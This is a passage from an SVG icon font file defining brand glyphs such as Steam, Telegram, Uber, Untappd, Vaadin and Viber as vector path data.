6 -46 22.9004l-15.7002 47c-45.7002 -15.2002 -50.8994 -17.7998 -57.7002 -16.7998c-14.5 0.599609 -28.5996 10.0996 -33.5996 24.5996c-6.09961 19 4 39.7002 23 45.9004l45.4004 15.0996 +l-30.3008 90c-45.6992 -15.2002 -50.8994 -17.7998 -57.6992 -16.7998c-14.5 0.599609 -28.6006 10.0996 -33.6006 24.5996c-6.09961 19.1006 3.90039 39.7002 23 45.9004l45.2998 15l-15.6992 47c-6.10059 19.0996 3.89941 39.7002 23 45.9004 +c19.0996 6.19922 39.7998 -3.90039 46 -22.9004l15.6992 -47l93.4004 31.2002l-15.7002 47c-6.09961 19.0996 3.90039 39.7002 23 45.8994c19.1006 6.2002 39.7998 -3.89941 46 -22.8994l15.7002 -47l45.4004 15.0996c19.0996 6.2002 39.7998 -3.89941 46 -22.8994 +c6.09961 -19.1006 -3.90039 -39.7002 -23 -45.9004l-45.4004 -15.0996l30.2998 -90l45.4004 15.0996c19.0996 6.2002 39.7998 -3.90039 46 -22.9004zM192.1 130.4l93.5 31.2998l-30.2998 90.2002l-93.5 -31.3008z" /> + <glyph glyph-name="speakap" unicode="" +d="M64 56.2197c-79.4102 88.1904 -72 224.36 16.6396 304.141c88.6406 79.7793 224.801 73 304.21 -15.2402c79.4102 -88.2402 72 -224.36 -16.6396 -304.14c-18.7402 -16.8701 64 -43.0908 42 -52.2607c-82.0596 -34.21 -253.91 -35 -346.229 67.5h0.0195312z +M277.31 267.82l38.5 40.8594c-9.60938 8.89062 -32 26.8301 -76.1699 27.6006c-52.3301 0.910156 -95.8594 -28.2998 -96.7695 -80c-0.200195 -11.3301 0.290039 -36.7207 29.4199 -54.8301c34.46 -21.4199 86.5195 -21.5098 86 -52.2598 +c-0.370117 -21.2803 -26.4199 -25.8105 -38.5898 -25.6006c-3 0.0498047 -30.2305 0.459961 -47.6104 24.6201l-40 -42.6104c28.1602 -27 59 -32.6191 83.4902 -33.0498c10.2295 -0.179688 96.4199 -0.330078 97.8398 81 +c0.280273 15.8105 -2.07031 39.7197 -28.8604 56.5898c-34.3594 21.6406 -85 19.4502 -84.4297 49.75c0.410156 23.25 31 25.3701 37.5303 25.2607c0.429688 0 26.6201 -0.260742 39.6201 -17.3701z" /> + <glyph glyph-name="staylinked" unicode="" horiz-adv-x="440" +d="M382.7 155.5l44.2998 -41.2998c3.7002 -3.5 3.2998 -9 -0.700195 -12.2002l-198 -163.9c-9.89941 -7.59961 -17.2998 -0.799805 -17.2998 -0.799805l-208.7 196.101c-3.5 3.5 -3 9 1.2002 12.1992l45.7998 34.9004c4.2002 3.2002 10.4004 3 13.9004 -0.5l151.899 -147.5 +c3.7002 -3.5 10 -3.7002 14.2002 -0.400391l93.2002 74c4.09961 3.2002 4.5 8.7002 0.900391 12.2002l-84 81.2998c-3.60059 3.5 -9.90039 3.7002 -14 0.5l-0.100586 -0.0996094c-4.09961 -3.2002 -10.3994 -3 -14 0.5l-68.0996 64.2998 +c-3.5 3.5 -3.10059 9 1.09961 12.2002l57.2998 43.5996c4.10059 3.2002 10.3008 3 13.8008 -0.5l170 -167.3zM437.2 238.9c3.7002 -3.5 3.39941 -9 -0.700195 -12.2002l-45.7998 -35.7998c-4.10059 -3.2002 -10.4004 -3 -14.1006 0.5l-160.399 159 +c-3.60059 3.5 -9.7998 3.69922 -13.9004 0.5l-92.2002 -71.5c-4.19922 -3.30078 -4.69922 -8.7002 -1.09961 -12.2002l94.5996 -91.7998c3.7002 -3.5 10 -3.60059 14.2002 -0.400391l0.100586 0.0996094c4.19922 3.2002 10.5996 3 14.1992 -0.5l57.1006 -54.3994 +c3.7002 -3.5 3.2998 -9 -0.900391 -12.2002l-7.7002 -6l0.300781 -0.299805l-50.2002 -38.7998c-4.2002 -3.30078 -10.6006 -3.10059 -14.2998 0.399414l-171.7 165.101l-42.2998 41.6992c-3.60059 3.5 -3 9 1.19922 12.2002l206.801 162.101 +c8.2998 6.59961 14.7998 2.2998 16.2998 1.09961z" /> + <glyph glyph-name="steam-symbol" unicode="" +d="M395.5 270.5c0 -33.7998 -27.5 -61 -61 -61c-33.7998 0 -61 27.2998 -61 61s27.2998 61 61 61c33.5 0 61 -27.2002 61 -61zM448 270.3c0 -63 -51 -113.8 -113.7 -113.8l-109.3 -79.7998c-4 -43 -40.5 -76.7998 -84.5 -76.7998c-40.5 0 -74.7002 28.7998 -83 67 +l-57.5 23.0996v107.3l97.2002 -39.2998c15.0996 9.2002 32.2002 13.2998 52 11.5l71 101.7c0.5 62.2998 51.5 112.8 114 112.8c62.7998 0 113.8 -51 113.8 -113.7zM203 85c0 34.7002 -27.7998 62.5 -62.5 62.5c-4.5 0 -9 -0.5 -13.5 -1.5l26 -10.5 +c25.5 -10.2002 38 -39 27.7002 -64.5c-10.2002 -25.5 -39.2002 -38 -64.7002 -27.5c-10.2002 4 -20.5 8.2998 -30.7002 12.2002c10.5 -19.7002 31.2002 -33.2002 55.2002 -33.2002c34.7002 0 62.5 27.7998 62.5 62.5zM410.5 270.3c0 42 -34.2998 76.2002 -76.2002 76.2002 +c-42.2998 0 -76.5 -34.2002 -76.5 -76.2002c0 -42.2002 34.2998 -76.2002 76.5 -76.2002c41.9004 -0.0996094 76.2002 33.9004 76.2002 76.2002z" /> + <glyph glyph-name="sticker-mule" unicode="" horiz-adv-x="576" +d="M561.7 248.4c-1.2998 -0.300781 0.299805 0 0 0zM555.5 325.8c20.2002 -50.0996 20.5996 -45.2002 20.5996 -52.8994c0 -7.5 -4.09961 -11 -7.19922 -16.5c-1.5 -3 -4.60059 -7.5 -7.2002 -8c-0.400391 0 -3 -0.5 -13.4004 -2.5c-7.2002 -1 -13.3994 4.5 -14.8994 9.5 +c-1.60059 4.69922 2.7998 10.0996 -11.8008 22.8994c-10.2998 10 -21.0996 11.2998 -31.8994 17c-9.7998 5.7002 -11.9004 -1 -18 -8c-18 -22.8994 -34 -46.8994 -52 -69.7998c-11.7998 -15 -24.2002 -30.4004 -33.5 -47.4004 +c-3.90039 -6.7998 -9.5 -28.0996 -10.2998 -29.8994c-6.2002 -17.7002 -5.5 -25.7998 -16.5 -68.2998c-3.10059 -10 -5.7002 -21.4004 -8.7002 -32.4004c-2.2002 -6.7998 -7.40039 -49.2998 -0.5 -59.4004c2.09961 -3.5 8.7002 -4.5 11.2998 -8 +c0.0996094 -0.0996094 9.59961 -18.1992 9.2998 -20c0 -6.09961 -9.39941 -5.59961 -11.2998 -6.5c-4.7998 -2.89941 -3.7998 -5.89941 -6.40039 -7.39941c-5.89941 -2.90039 -32.0996 -3.2002 -36.5 0.5c-4.09961 3 -2.19922 11.8994 -1.5 15 +c2.2002 15 -2.5 7.89941 -9.7998 11.5c-3.09961 1.5 -4.09961 5.5 -4.59961 10c-0.5 1.5 -1 2.5 -1.5 3.5c-1.7002 10.7002 6.7998 33.5996 8.2002 43.3994c4.89941 23.7002 -0.700195 37.2002 1.5 46.9004c3.69922 16.2002 4.09961 3.5 4.09961 29.9004 +c-1.40039 25.8994 3.2998 36.8994 0.5 38.8994c-14.7998 0 -64.2998 -10.7002 -112.2 -2c-46.0996 8.90039 -59.3994 29 -65.3994 30.9004c-10.3008 4.5 -23.2002 -0.5 -27.3008 -7c-0.0996094 -0.100586 -35 -70.6006 -39.5996 -87.7998 +c-6.2002 -20.5 -0.5 -47.4004 4.09961 -66.8008c0 -0.0996094 4.5 -14.5996 10.3008 -19.5c2.09961 -1.5 5.09961 -2.5 7.19922 -4.5c2.80078 -2.69922 9.40039 -15.1992 9.80078 -16c2.59961 -4.5 3.59961 -8 -1.5 -10.5c-3.60059 -2 -9.30078 -2.5 -14.4004 -2.5 +c-2.59961 -0.5 -1.5 -3.5 -3.09961 -5c-2.90039 -2.7998 -20.7002 -6.09961 -29.9004 -2.5c-2.59961 1 -5.7002 3 -6.2002 5c-1.5 4 2.10059 9 -1 12.5c-4.5 2.90039 -13.0996 2 -17 12c-2.2002 5.40039 -2.59961 7.60059 -2.59961 49.4004 +c0 9.7002 -5.90039 38.7002 -8.2002 46.9004c-1.5 5.5 -1.5 11.5 0 16c0.299805 0.899414 4.09961 4.59961 4.09961 13c-1 1.5 -4.59961 0.5 -5.09961 1.5c-10.4004 80.5996 -5.90039 79 -7.7002 98.2998c-1.5 16 -10.8994 43.8994 -6.7002 64.2998 +c0.5 2.40039 3.40039 21 24.2002 38.9004c31 26.6992 48.4004 38.2998 159 11.5c1.10059 -0.400391 66.2998 -21.1006 110.7 9c15.5 11.2998 28.7998 11.2998 35.5 16c0.0996094 0.0996094 61.7002 52.0996 87 65.2998c47.2002 29.3994 69.9004 16.7002 75.0996 18 +c4.7002 1 13.4004 25.7998 17 25.7998c5.5 0 1.60059 -20.2002 3.60059 -25.9004c0.5 -2 3.59961 -5 6.2002 -5c2.2998 0 1.69922 0.800781 10.2998 5c8.39941 5.40039 14.8994 17.6006 20.5996 17c11.7002 -1.59961 -19 -41.5996 -19 -46.8994 +c0 -2 0.200195 -0.799805 4.60059 -9.5c2.59961 -5.5 4.59961 -13.5 6.19922 -20c8.30078 -29.7002 5.7002 -14.6006 13.4004 -36.9004z" /> + <glyph glyph-name="studiovinari" unicode="" horiz-adv-x="512" +d="M480.3 260.3l4.2002 -28v-28l-25.0996 -44.0996l-39.8008 -78.4004l-56.0996 -67.5l-79.0996 -37.7998l-17.7002 -24.5l-7.7002 -12l-9.59961 -4s17.2998 63.5996 19.3994 63.5996c2.10059 0 20.2998 -0.699219 20.2998 -0.699219l66.7002 38.5996l-92.5 -26.0996 +l-55.8994 -36.8008l-22.8008 -28l-6.59961 -1.39941l20.7998 73.5996l6.90039 5.5l20.7002 -12.8994l88.2998 45.1992l56.7998 51.5l14.7998 68.4004l-125.399 -23.2998l15.1992 18.2002l-173.399 53.2998l81.8994 10.5l-166 122.899l114.9 -18.0996l-101.3 108 +l252.899 -126.6l-31.5 38l124.4 -74.4004l-143.3 99l18.7002 -38.4004l-49.6006 18.1006l-45.5 84.2998l194.601 -122l-42.9004 55.7998l108 -96.3994l12 8.89941l-21 16.4004l4.2002 37.7998l37.7998 10.4004l29.2002 -24.7002l11.5 -4.2002l-7 -6.2002l8.5 -12 +l-13.1006 -7.39941l-10.2998 -20.2002z" /> + <glyph glyph-name="supple" unicode="" horiz-adv-x="640" +d="M640 185.5c0 -64.0996 -109 -116.1 -243.5 -116.1c-24.7998 0 -48.5996 1.7998 -71.0996 5c7.69922 -0.400391 15.5 -0.600586 23.3994 -0.600586c134.5 0 243.5 56.9004 243.5 127.101c0 29.3994 -19.0996 56.3994 -51.2002 78 +c60 -21.1006 98.9004 -55.1006 98.9004 -93.4004zM47.7002 220.1c0.0996094 -29.3994 19.2998 -56.5 51.5996 -78c-60.2002 21 -99.2002 55 -99.2998 93.3008c-0.0996094 64.0996 108.8 116.3 243.3 116.699c24.7002 0 48.5 -1.69922 71 -4.89941 +c-7.7002 0.299805 -15.3994 0.5 -23.2998 0.5c-134.5 -0.299805 -243.4 -57.4004 -243.3 -127.601zM107.9 180.2l8.7998 10.8994s8.7998 -10.0996 20.7002 -10.0996c6.5 0 12.2998 3.5 12.2998 10.0996c0 14.5 -40.2002 13.3008 -40.2002 39.9004 +c0 13.9004 12 24.0996 28.5 24.0996c10 0 25.4004 -4.69922 25.4004 -16.7998v-7.89941h-14.2002v3.89941c0 4 -5.60059 6.60059 -11.2998 6.60059c-7.2002 0 -12.5 -3.7002 -12.5 -9.10059c0 -14.5996 40.1992 -11.7002 40.1992 -39.7002 +c0 -13.5996 -10.5 -25.0996 -28.3994 -25.0996c-18.7998 0 -29.2998 13.2002 -29.2998 13.2002zM228.7 253.8h15.7002v-55c0 -18.8994 -13.3008 -31.8994 -33.4004 -31.8994c-20.2998 0 -33.7002 13 -33.7002 31.8994v55h15.7998v-54.5 +c0 -11.2002 7.10059 -17.7002 17.8008 -17.7002c10.6992 0 17.7998 6.5 17.7998 17.8008v54.3994zM263.1 168.4v72h-7.7998v13.3994h39.1006c16 0 27.1992 -11.2002 27.1992 -27.7998s-11.1992 -28.0996 -27.1992 -28.0996h-15.5v-29.5h-15.8008zM278.9 211.4h12.5996 +c8.90039 0 14 5.7998 14 14.6992c0 8.7002 -5 14.4004 -13.7002 14.4004h-12.8994v-29.0996zM335.9 168.4v72h-7.80078v13.3994h39.1006c16 0 27.2002 -11.2002 27.2002 -27.7998s-11.2002 -28.0996 -27.2002 -28.0996h-15.5v-29.5h-15.7998zM351.6 211.4h12.6006 +c9 0 14 5.7998 14 14.6992c0 8.7002 -5 14.4004 -13.7002 14.4004h-12.9004v-29.0996zM408.7 176.6h0.0996094v61.2002c0 1.60059 -0.899414 2.60059 -2.59961 2.60059h-5.2002v13.3994h15.4004c5.7998 0 8.19922 -2.5 8.19922 -8.2002v-61.1992 +c0 -1.60059 0.900391 -2.60059 2.60059 -2.60059h18.5996c1.60059 0 2.60059 0.900391 2.60059 2.60059v5.19922h14.2998v-13c0 -5.7998 -2.40039 -8.19922 -8.2002 -8.19922h-37.5996c-5.80078 0 -8.2002 2.39941 -8.2002 8.19922zM472.1 176.6h-0.0996094v63.9004h-7.7998 +v13.4004h51.5996c5.7002 0 8.2002 -2.5 8.2002 -8.2002v-13h-14.2002v5.2002c0 1.59961 -0.899414 2.59961 -2.59961 2.59961h-19.2002v-22.4004h27.7002v-13.3994h-27.7002v-20.2998c0 -1.60059 0.900391 -2.60059 2.59961 -2.60059h19.7002 +c1.60059 0 2.60059 0.900391 2.60059 2.60059v5.19922h14.2998v-13c0 -5.7998 -2.5 -8.19922 -8.2002 -8.19922h-38.7002c-5.7998 0 -8.2002 2.39941 -8.2002 8.19922zM531 252.6h-2.7002v1.2002h7v-1.2002h-2.7002v-5.89941h-1.59961v5.89941zM536.7 253.8h2.39941 +l2.10059 -5.09961l2.09961 5.09961h2.2998v-7.09961h-1.5v5.7002l-2.2998 -5.7002h-1.2998l-2.2998 5.7002v-5.7002h-1.5v7.09961z" /> + <glyph glyph-name="telegram-plane" unicode="" +d="M446.7 349.4l-67.6006 -318.801c-5.09961 -22.5 -18.3994 -28.0996 -37.2998 -17.5l-103 75.9004l-49.7002 -47.7998c-5.5 -5.5 -10.0996 -10.1006 -20.6992 -10.1006l7.39941 104.9l190.9 172.5c8.2998 7.40039 -1.7998 11.5 -12.9004 4.09961l-236 -148.6 +l-101.6 31.7998c-22.1006 6.90039 -22.5 22.1006 4.59961 32.7002l397.4 153.1c18.3994 6.90039 34.5 -4.09961 28.5 -32.1992z" /> + <glyph glyph-name="uber" unicode="" +d="M414.1 416c18.7002 0 33.9004 -15.2002 33.8008 -33.9004v-380.199c0 -18.7002 -15.2002 -33.9004 -33.9004 -33.9004h-380.1c-18.7002 0 -33.9004 15.2002 -33.9004 34v380.1c0 18.7002 15.2002 33.9004 33.9004 33.9004h380.199zM237.6 56.9004 +c74.6006 7.5 129 74.0996 121.5 148.6c-7 69.4004 -65.3994 122.2 -135.1 122.2s-128.1 -52.7998 -135.1 -122.2h94.3994v20.4004c0 3.7998 3.10059 6.7998 6.7998 6.7998h67.9004c3.7998 0 6.7998 -3.10059 6.7998 -6.7998v-67.9004 +c0 -3.7998 -3.09961 -6.7998 -6.7998 -6.7998h-67.9004c-3.7998 0 -6.7998 3.09961 -6.7998 6.7998v20.4004h-94.3994c7.5 -74.6006 74.0996 -129 148.699 -121.5z" /> + <glyph glyph-name="uikit" unicode="" +d="M443.9 320v-256l-225.9 -128l-218 128v214.3l87.5996 -45.0996v-117l133.5 -75.5l135.801 75.5v151l-101.101 57.5996l87.6006 53.1006zM308.6 398.9l-87.3994 -53l-86 47.2998l88.5996 54.7998z" /> + <glyph glyph-name="uniregistry" unicode="" horiz-adv-x="384" +d="M192 -32c-39.5 0 -76.2002 11.7998 -106.7 32.2002h213.5c-30.5996 -20.4004 -67.2998 -32.2002 -106.8 -32.2002zM102.9 161.1c0 -2.5 0.0996094 -5 0.299805 -7.39941h-103.101c-0.0996094 2.39941 -0.0996094 4.89941 -0.0996094 7.39941v12.4004h102.9v-12.4004z +M123.4 104.1c8.89941 -10.5996 20.0996 -19.0996 33 -24.7998h-138.301c-3.7998 8 -7 16.2998 -9.59961 24.7998h114.9zM105.7 138.8c2 -7.89941 5.2002 -15.3994 9.2002 -22.2998h-109.7c-1.7002 7.2998 -3 14.7002 -3.90039 22.2998h104.4zM102.9 208.1v-17.2998h-102.9 +v17.2998h102.9zM102.9 381.3v-4.89941h-102.9v4.89941h102.9zM102.9 416v-2.5h-102.9v2.5h102.9zM102.9 346.7v-7.40039h-102.9v7.40039h102.9zM102.9 242.7v-14.7998h-102.9v14.7998h102.9zM102.9 312v-9.90039h-102.9v9.90039h102.9zM102.9 277.4v-12.4004h-102.9v12.4004 +h102.9zM269.1 116.5c4 6.90039 7.10059 14.4004 9.2002 22.2998h104.4c-0.799805 -7.59961 -2.10059 -15 -3.90039 -22.2998h-109.7zM281.1 302.2v9.7998h102.9v-9.7998h-102.9zM281.1 265v12.4004h102.9v-12.4004h-102.9zM281.1 339.3v7.40039h102.9v-7.40039h-102.9z +M281.1 416h102.9v-2.5h-102.9v2.5zM78.0996 5.09961c-11.7998 8.7002 -23.5996 18.7002 -33.1992 29.7002h293.1c-9.5 -11.0996 -20.4004 -21 -32.2002 -29.7002h-227.7zM281.1 376.4v4.89941h102.9v-4.89941h-102.9zM281.1 227.9v14.7998h102.9v-14.7998h-102.9z +M38.7998 42.2998c-6.59961 8.5 -10.5996 17.6006 -15.7998 27.2002h338.9c-5.2002 -9.59961 -11.1006 -18.7002 -17.8008 -27.2002h-305.3zM227.6 79.4004c12.8008 5.59961 24.1006 14.0996 32.9004 24.7998h115c-2.7002 -8.60059 -4.7998 -16.7998 -8.5 -24.7998h-139.4z +M281.1 161.1v12.4004h102.9v-12.4004c0 -2.5 -0.0996094 -4.89941 -0.200195 -7.39941h-103.1c0.299805 2.39941 0.399414 4.89941 0.399414 7.39941zM281.1 190.8v17.2998h102.9v-17.2998h-102.9z" /> + <glyph glyph-name="untappd" unicode="" horiz-adv-x="640" +d="M401.3 398.1c-79.7998 -160.1 -84.5996 -152.5 -87.8994 -173.199l-5.2002 -32.8008c-1.90039 -12 -6.60059 -23.5 -13.7002 -33.3994l-148.9 -207.8c-7.59961 -10.6006 -20.3994 -16.2002 -33.3994 -14.6006c-40.2998 5 -77.7998 32.2002 -95.2998 68.5 +c-5.7002 11.7998 -4.5 25.7998 3.09961 36.4004l148.9 207.899c7.09961 9.90039 16.3994 18 27.1992 23.7002l29.3008 15.5c18.5 9.7998 9.69922 11.9004 135.6 138.9c1 4.7998 1 7.2998 3.59961 8c3 0.700195 6.60059 1 6.30078 4.59961l-0.400391 4.60059 +c-0.200195 1.89941 1.2998 3.59961 3.2002 3.59961c4.5 0.0996094 13.2002 -1.2002 25.5996 -10c12.2998 -8.90039 16.4004 -16.7998 17.7002 -21.0996c0.599609 -1.80078 -0.599609 -3.7002 -2.40039 -4.2002l-4.5 -1.10059 +c-3.39941 -0.899414 -2.5 -4.39941 -2.2998 -7.39941c0.100586 -2.7998 -2.2998 -3.60059 -6.5 -6.10059zM230.1 411.6c-3.19922 0.800781 -8.19922 1.2002 -6.7998 5.40039c1.2998 4.2998 5.40039 12.2002 17.7002 21.0996c12.4004 8.90039 21.0996 10.1006 25.5996 10 +c4.2002 -0.0996094 3.10059 -4.89941 2.80078 -8.19922c-0.300781 -3.60059 3.2998 -3.80078 6.2998 -4.60059c2.59961 -0.700195 2.59961 -3.2998 3.59961 -8c9.10059 -9.2002 17.6006 -17.8994 25.6006 -26.0996c1.2998 -1.40039 1.19922 -3.5 -0.100586 -4.90039 +c-15.8994 -16.3994 -29.2998 -30.5996 -40.5 -42.5996c-1 -1 -2.59961 -0.799805 -3.2998 0.5c-6.90039 13.5 -14.2998 28.0996 -22.2002 44c-4.2998 2.5 -6.59961 3.2998 -6.39941 6c0.199219 3 1.09961 6.5 -2.30078 7.39941zM620 41.2998 +c7.7002 -10.7002 8.7998 -24.7002 3.40039 -36.5996c-17.7002 -36.6006 -55.4004 -63.7002 -95.7002 -68.6006c-12.9004 -1.5 -25.5 4.10059 -33.1006 14.7002l-148.899 207.9c-7.10059 9.89941 -11.7998 21.3994 -13.7002 33.3994 +c-1.59961 9.80078 -2 19.1006 -0.299805 29.8008c1.89941 12 2.7002 6 49 94.7998c0.700195 1.39941 2.59961 1.59961 3.59961 0.5c16.2998 -18 19.2998 -23 30.5 -28.9004c29.7998 -15.7002 43.2002 -20.5996 56.4004 -39.0996z" /> + <glyph glyph-name="ussunnah" unicode="" horiz-adv-x="512" +d="M156.8 162.9l5.7002 -14.4004h-8.2002c-1.2998 3.2002 -3.09961 7.7002 -3.7998 9.5c-2.5 6.2998 -1.09961 8.40039 0 10c1.90039 2.7002 3.2002 4.40039 3.59961 5.2002c0 -2.2002 0.800781 -5.7002 2.7002 -10.2998zM454.1 144.1 +c-2.09961 -13.7998 -5.69922 -27.0996 -10.5 -39.6992l43 -23.4004l-44.7998 18.7998c-5.2998 -13.2002 -12 -25.5996 -19.8994 -37.2002l34.1992 -30.1992l-36.7998 26.3994c-8.39941 -11.7998 -18 -22.5996 -28.7002 -32.2998l24.9004 -34.7002l-28.0996 31.7998 +c-11 -9.59961 -23.1006 -18 -36.1006 -25.0996l15.7002 -37.2002l-19.2998 35.2998c-13.1006 -6.7998 -27 -12.0996 -41.6006 -15.8994l6.7002 -38.4004l-10.5 37.4004c-14.2998 -3.40039 -29.2002 -5.2998 -44.5 -5.40039l-1.7998 -38.2998l-1.90039 38.4004 +c-15.2998 0.0996094 -30.1992 2 -44.5 5.2998l-10.5996 -37.2998l6.7002 38.1992c-14.6006 3.7002 -28.6006 9.10059 -41.7002 15.8008l-19.2002 -35.1006l15.6006 37c-13 7 -25.2002 15.4004 -36.2002 25.1006l-27.9004 -31.6006l24.7002 34.4004 +c-10.7002 9.7002 -20.4004 20.5 -28.7998 32.2998l-36.5 -26.2002l33.8994 29.9004c-7.89941 11.5996 -14.5996 24.0996 -20 37.2998l-44.3994 -18.7002l42.5996 23.2002c-4.7998 12.7002 -8.39941 26.0996 -10.5 39.9004l-51 -9l50.2998 14.1992 +c-1.09961 8.5 -1.69922 17.1006 -1.69922 25.9004c0 4.7002 0.199219 9.40039 0.5 14.0996l-55.4004 2.90039l56 2.7998c1.2998 13.1006 3.7998 25.7998 7.5 38.1006l-57.0996 16.0996l58.8994 -10.4004c4 12 9.10059 23.5 15.2002 34.4004l-55.0996 30l58.2998 -24.5996 +c6.2998 10.5996 13.5 20.3994 21.5996 29.5996l-49.5 43.5996l53.9004 -38.6992c8.09961 8.59961 17 16.5 26.5996 23.5996l-40 55.5996l45.6006 -51.5996c9.5 6.59961 19.6992 12.2998 30.2998 17.2002l-27.2998 64.8994l33.7998 -62.0996 +c10.5 4.40039 21.3994 7.90039 32.7002 10.4004l-12.4004 70.6992l19.5 -69.1992c11 2.09961 22.2998 3.19922 33.7998 3.39941l3.7002 72.2002l3.59961 -72.2002c11.5 -0.200195 22.8008 -1.39941 33.8008 -3.5l19.5996 69.2998l-12.4004 -70.6992 +c11.3008 -2.60059 22.2002 -6.10059 32.6006 -10.5l33.8994 62.1992l-27.3994 -65.0996c10.5996 -4.90039 20.7002 -10.7002 30.2002 -17.2002l45.7998 51.7998l-40.1006 -55.8994c9.5 -7.10059 18.4004 -15 26.5 -23.6006l54.2002 38.9004l-49.7002 -43.9004 +c8 -9.09961 15.2002 -18.8994 21.5 -29.3994l58.7002 24.7002l-55.5 -30.2002c6.10059 -10.9004 11.1006 -22.2998 15.1006 -34.2998l59.2998 10.3994l-57.5 -16.2002c3.7002 -12.1992 6.2002 -24.8994 7.5 -37.8994l56.2998 -2.7002l-56 -2.7998 +c0.299805 -4.60059 0.5 -9.2998 0.5 -14.1006c0 -8.69922 -0.599609 -17.2998 -1.59961 -25.7998l50.6992 -14.2998zM432.3 175.1c0 97.5 -79 176.5 -176.5 176.5s-176.5 -79 -176.5 -176.5s79 -176.5 176.5 -176.5s176.5 79 176.5 176.5zM408.3 175.1 +c0 -84.2998 -68.2998 -152.6 -152.6 -152.6s-152.601 68.2998 -152.601 152.6c0 84.3008 68.3008 152.601 152.601 152.601s152.6 -68.2998 152.6 -152.601zM195 207c0 -2.09961 1.2998 -3.7998 3.59961 -5.09961c3.30078 -1.90039 6.2002 -4.60059 8.2002 -8.2002 +c2.7998 5.7002 4.2998 9.5 4.2998 11.2002c0 2.19922 -1.09961 4.39941 -3.19922 7c-2.10059 2.5 -3.2002 5.19922 -3.30078 7.69922c-6.5 -6.7998 -9.59961 -10.8994 -9.59961 -12.5996zM154.3 226c0 -2.09961 1.2998 -3.7998 3.60059 -5.09961 +c3.5 -1.90039 6.19922 -4.60059 8.19922 -8.2002c2.80078 5.7002 4.30078 9.5 4.30078 11.2002c0 2.19922 -1.10059 4.39941 -3.2002 7c-2.10059 2.5 -3.2002 5.19922 -3.2998 7.69922c-6.5 -6.7998 -9.60059 -10.8994 -9.60059 -12.5996zM135.3 226 +c0 -2.09961 1.2998 -3.7998 3.60059 -5.09961c3.2998 -1.90039 6.19922 -4.60059 8.19922 -8.2002c2.80078 5.7002 4.30078 9.5 4.30078 11.2002c0 2.19922 -1.10059 4.39941 -3.2002 7c-2.10059 2.5 -3.2002 5.19922 -3.2998 7.69922 +c-6.40039 -6.7998 -9.60059 -10.8994 -9.60059 -12.5996zM340.2 138.1c-8.40039 3 -8.7002 6.80078 -8.7002 15.6006v112.3c-8.2002 -12.5 -14.2002 -18.5996 -18 -18.5996c6.2998 -14.4004 9.5 -23.9004 9.5 -28.3008v-64.2998c0 -2.2002 -2.2002 -6.5 -4.7002 -6.5h-18 +c-2.7998 7.5 -10.2002 26.9004 -15.2998 40.2998c-2 -2.5 -7.2002 -9.19922 -10.7002 -13.6992c2.40039 -1.60059 4.10059 -3.60059 5.2002 -6.30078c2.59961 -6.69922 6.40039 -16.5 7.90039 -20.1992h-9.2002c-3.90039 10.3994 -9.60059 25.3994 -11.7998 31.0996 +c-2 -2.5 -7.2002 -9.2002 -10.7002 -13.7002c2.39941 -1.59961 4.09961 -3.59961 5.2002 -6.2998c0.799805 -2 2.7998 -7.2998 4.2998 -10.9004h-9.2002c-1.5 4.10059 -5.59961 14.6006 -8.40039 22c-2 -2.5 -7.19922 -9.19922 -10.6992 -13.6992 +c2.5 -1.60059 4.2998 -3.60059 5.19922 -6.30078c0.200195 -0.599609 0.5 -1.39941 0.600586 -1.69922h-17.7002c-4.59961 13.8994 -11.4004 27.6992 -11.4004 34.0996c0 2.2002 0.300781 5.09961 1.10059 8.2002c-8.7998 -10.7998 -14 -15.9004 -14 -25 +c0 -7.5 10.3994 -28.2998 10.3994 -33.2998c0 -1.7002 -0.5 -3.30078 -1.39941 -4.90039c-9.60059 12.7002 -15.5 20.7002 -18.7998 20.7002h-12l-11.2002 28c-3.7998 9.59961 -5.7002 16 -5.7002 18.7998c0 3.7998 0.5 7.7002 1.7002 12.2002 +c-1 -1.2998 -3.7002 -4.7002 -5.5 -7.10059c-0.799805 2.10059 -3.10059 7.7002 -4.60059 11.5c-2.09961 -2.5 -7.5 -9.09961 -11.1992 -13.5996c0.899414 -2.2998 3.2998 -8.09961 4.89941 -12.2002c-2.5 -3.2998 -9.09961 -11.7998 -13.5996 -17.7002 +c-4 -5.2998 -5.7998 -13.2998 -2.7002 -21.7998c2.5 -6.7002 2 -7.89941 -1.7002 -14.0996h61.7002c5.5 0 14.2998 -14 15.5 -22c13.2002 16 15.4004 19.5996 16.7998 21.5996h107c3.90039 0 7.2002 1.90039 9.90039 5.7998zM360.3 164.7v101.6 +c-9 -12.5 -15.8994 -18.5996 -20.7002 -18.5996c7.10059 -14.4004 10.7002 -23.9004 10.7002 -28.2998v-66.3008c0 -17.5 8.60059 -20.3994 24 -20.3994c8.10059 0 12.5 0.799805 13.7002 2.7002c-4.2998 1.59961 -7.59961 2.5 -9.90039 3.2998 +c-8.09961 3.2002 -17.7998 7.39941 -17.7998 26z" /> + <glyph glyph-name="vaadin" unicode="" +d="M224.5 307.3c1.5 17.6006 4.90039 52.7002 49.7998 52.7002h98.6006c20.6992 0 32.0996 7.7998 32.0996 21.5996v12.3008c0 12.1992 9.2998 22.0996 21.5 22.0996s21.5 -9.90039 21.5 -22.0996v-36.5c0 -42.9004 -21.5 -62 -66.7998 -62h-100.5 +c-30.1006 0 -33 -14.7002 -33 -27.1006c0 -1.2998 -0.100586 -2.5 -0.200195 -3.7002c-0.700195 -12.2998 -10.9004 -22.1992 -23.4004 -22.1992s-22.6992 9.7998 -23.3994 22.1992c-0.100586 1.2002 -0.200195 2.40039 -0.200195 3.7002c0 12.2998 -3 27.1006 -33 27.1006 +h-100.7c-45.2998 0 -66.7998 19.0996 -66.7998 62v36.5c0 12.1992 9.40039 22.0996 21.5996 22.0996c12.2002 0 21.5 -9.90039 21.5 -22.0996v-12.3008c0 -13.7998 11.4004 -21.5996 32.1006 -21.5996h98.5996c44.7998 0 48.2998 -35.0996 49.7998 -52.7002h0.900391z +M224 -8c-11.5 0 -21.4004 7 -25.7002 16.2998c-1.09961 1.7998 -97.0996 169.5 -98.2002 171.4c-11.8994 19.7002 3.2002 44.2998 27.2002 44.2998c13.9004 0 23.4004 -6.40039 29.7998 -20.2998l66.9004 -117.7l66.9004 117.7c6.5 13.8994 15.8994 20.2998 29.7998 20.2998 +c24 0 39.0996 -24.7002 27.2002 -44.2998c-1.10059 -1.7998 -97.1006 -169.601 -98.2002 -171.4c-4.2998 -9.2998 -14.2002 -16.2998 -25.7002 -16.2998z" /> + <glyph glyph-name="viber" unicode="" horiz-adv-x="512" +d="M444 398.1c42.2002 -36.6992 65.5996 -117.899 49.7998 -246.5c-15.2002 